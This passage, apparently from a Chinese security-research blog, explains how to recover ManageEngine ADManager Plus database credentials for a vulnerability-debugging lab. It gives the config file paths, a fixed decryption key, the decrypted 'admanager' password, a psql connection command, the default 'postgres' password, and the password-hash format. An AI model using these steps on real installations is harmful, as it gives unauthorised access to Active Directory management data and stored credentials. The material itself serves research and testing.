0x04 數據庫用戶口令獲取默認配置下,ADManager Plus使用postgresql存儲數據,默認配置了兩個登錄用戶:admanager和postgres

1.用戶admanager的口令獲取配置文件路徑:C:\Program Files\ManageEngine\ADManager Plus\conf\database_params.conf,內容示例:

3.png 4.png

其中,password被加密,加解密算法位於:C:\Program Files\ManageEngine\ADManager Plus\lib\framework-tools.jar中的com.zoho.framework.utils.crypto-CryptoUtil.class

經過代碼分析,得出以下解密方法:

密鑰固定保存在C:\Program Files\ManageEngine\ADManager Plus\conf\customer-config.xml,內容示例:

5.png

得到密鑰:CryptTag為o0hV5KhXBIKRH2PAmnCx

根據以上得到的密文28e3e4d73561031fa3a0100ea4bfb3617c7d66b631ff54ca719dd4ca3dcfb3c308605888和密鑰o0hV5KhXBIKRH2PAmnCx,編寫解密程序,代碼如下:

6.png 7.png 8.png 9.png

程序運行後得到解密結果:DFVpXge0NS

拼接出數據庫的連接命令:'C:\Program Files\ManageEngine\ADManager Plus\pgsql\bin\psql' 'host=127.0.0.1 port=33306 dbname=adsm user=admanager password=DFVpXge0NS'

2.用戶postgres的口令默認口令為Stonebraker

0x05 數據庫加密算法1.相關數據庫信息(1)用戶相關的表

10.png

(2)口令相關的表

11.png

(3)權限相關的表

12.png 13.png

2.口令加密算法算法同ADAudit Plus一致,計算密文的測試代碼如下:

14.png 15.png

計算結果為$2a$12$sdX7S5c11.9vZqC0OOPZQ.9PLFBKubufTqUNyLbom2Ub13d573jhi,同數據庫得到的password項一致

3.語法示例(1)查詢用戶及對應的權限

16.png

(2)查詢用戶及對應的口令

17.png

(3)修改口令

18.png

0x06 小結在我們搭建好ADManager Plus漏洞調試環境後,接下來就可以著手對漏洞進行學習。